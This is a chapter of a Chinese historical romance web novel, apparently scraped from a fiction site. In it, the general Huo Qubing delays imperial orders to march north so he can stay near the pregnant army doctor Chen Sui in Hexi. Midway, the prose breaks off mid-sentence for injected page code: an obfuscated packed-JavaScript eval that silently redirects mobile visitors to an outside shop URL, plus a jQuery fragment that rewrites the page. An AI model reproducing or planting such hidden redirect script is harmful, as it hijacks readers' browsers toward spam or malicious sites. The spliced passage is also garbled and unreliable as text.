是木棍老兵先跟陈穗说起的。
那天天气好,陈穗坐在田埂边的石头上晒太阳。老兵拄着木棍从她身边经过的时候停了一下,像是想说什么又犹豫了一下,最后还是开口了:“陈医官,你晓不晓得将军最近半年推了几次调令?”
陈穗正靠在石头上看远处的麦田,闻言偏过头:“几次?”
“三次。”老兵伸出三根手指,“朝廷三次调他北上,他都回了。头一次说河西防务交接未完,第二次说秋收在即需坐镇,第三次更干脆——”他学了一下霍去病的语气,“‘河西防务,臣自领之,不必另调。’”老兵学完之后自己先笑了一下,然后把木棍在地上顿了一下才站住了,“以前可不是这样。以前朝廷一有调令他第二天就走,走得干脆利落。现在他找各种理由留下——理由真假不重要,重要的是他想留。”
老兵说完之后没有等陈穗回应,拄着木棍慢慢走了。他走远之后陈穗还坐在石头上,看着远处麦田里正在弯腰检查水渠的那道深褐色身影——他正蹲在渠边用手探水的流速,站起来的时候偏头跟旁边的屯田兵说了句什么,然后继续沿着渠走。这个身影在这个季节、这片田埂上出现得越来越频繁了,频繁到她几乎已经习惯了每天早上推帘出去就能看到他从水车那边走回来的样子。她以前从不多想他为什么在,但现在她多想了。
她站起来往他那边走过去的时候他的目光刚好从渠面上移过来,先看了一眼她走路的姿势又看了一眼她落脚的轻重——大概在确认她有没有踩到不平的地方。“你怎么过来了?”他问。“来看看你。”她说。他直起腰来用袖口擦了一下额角的汗。两人站在渠边面对着面,水从两人之间的渠口涌过去发出持续的哗哗声。她开口的时候声音不大,但正好盖在水声上面:“我听说你推了几次北征的调令。”霍去病擦汗的手放下来了:“谁跟你说的?”“老兵。”“嗯。”他应了一声没有否认。
“你以前不是这样的。”陈穗说。
他站在渠边看着她。水流在两人之间继续淌着,他沉默了片刻,然后说:“以前没有什么需要留下的。”这个回答没有说“因为你”,但意思已经到了。陈穗低头看着脚下那道正在淌水的新渠,看了片刻又抬起头,她开口说了另一句话:“朝廷的调令……如果再来,你可以去。我这边没事。”
霍去病听完之后没有说话,他看着远处祁连山的方向看了很久。风从山脉那边吹过来掠过麦田把麦浪推涌成一片接一片的绿色,他收回目光看着她:“我知道。”他又沉默了片刻,“但我想等一等。”他说的“等一等”没有继续解释,但陈穗知道他说的“等一等”的意思是——等孩子出生、等她度过最难的那段日子、等他亲眼确认她一切安好。他以前不是这样的,以前的霍去病接了调令就走,干脆利落,不在任何地方多停留。但他在河西停了很久了。久到这片土地开始把他往下拽,像根系一样从脚底慢慢蔓延开来把他扎在了这里。他不想走,或者说他想走但他想走完之后还能回来——而他正在确保自己回来的时候这里的一切都还在原来的位置上等着他。
陈穗站在渠边听到他说完那句话之后点了点头:“那你就等着。”然后她转身沿着田埂往回走了。她走得不快,每走几步就看看路边的麦苗长势,但她的心里有一处地方在他说“等一等”的时候被轻轻压了一下,压得很轻,像一只手按在松软的土面上留下了一道掌纹。
几天之后天子派来的特使到了河西。那是一个面容清瘦的中年官员,穿着正式的朝服,下了马之后先向霍去病传达了朝廷的口谕——匈奴西北部又有异动,需他率部北上。陈穗当时正在药帐里跟灰袍军医商议一点别的事情,隔着几层帐布听到特使的声音隐隐传过来。她端着一碗刚煎好的药汤坐在那里没有动,灰袍军医也没有出声,两人在药帐里安静地听着外面的动静。
霍去病的声音隔了一会儿才响起来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920821|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
语调平稳:“我安排副将带队。留守十日后北上会合。”特使大概有些意外,但也没有多问,只说了“将军辛苦”之类的话,脚步声渐渐远去了。陈穗坐在药帐里把那碗药汤慢慢喝完了,放下碗站起来掀帘出去的时候他已经送走了特使,站在主帐前面的空地上,像是刚说完话还没完全收回目光。她走过去站在他旁边,两个人并肩看了一会儿远处特使队伍消失在营门方向的烟尘。
“真的只等十日?”陈穗问。
他侧过头看了她一眼:“十日之后……”他没有说完,但她知道他的意思——十日之后如果她这边还没有动静,他就得走。
“十日之内应该差不多了。”陈穗说,“军医说就在这阵子。”
他又看了她一眼,点了点头。
那天傍晚她站在帐门口看他。他正蹲在水车边上,伸手摸了摸水车轴上那块被她缠过布条的位置——那块布条已经旧了,被她缠了很久了。他摸完之后站了起来,站在水车旁边看着远处正在暗下来的祁连山轮廓,他的背影像一株正在把根系往更深的地方扎的树。风从他站着的位置吹过来,把他的衣摆掀起来又放下,他没有动。陈穗看着那道背影看了很久,然后她转过身回了帐里。她把那四片竹简从怀里掏出来放在桌面上排成一排,伸出手指从最旧的那片开始依次摸过去,摸到最后那片“河西·一直”的时候她的手指停了一下,指腹在“一直”两个字上慢慢划过。她把手收回来,把竹简叠好放回怀里,然后站起来走到门口又掀帘看了他一眼——他还在水车边上站着,暮色已经把整片麦田和蹲在水车旁边的他收进了同一层温暖的暗金色里。
他在这片土地上站得越来越稳了。十年前他第一次路过河西的时候大概没有想过自己会停在这里。但他停下来了,而且他正在把扎在这片土里的根一根一根地巩固牢靠。陈穗站在帐门口看着他的背影,把手搭在腹前轻轻按了一下,然后放下帘子转身回了帐里。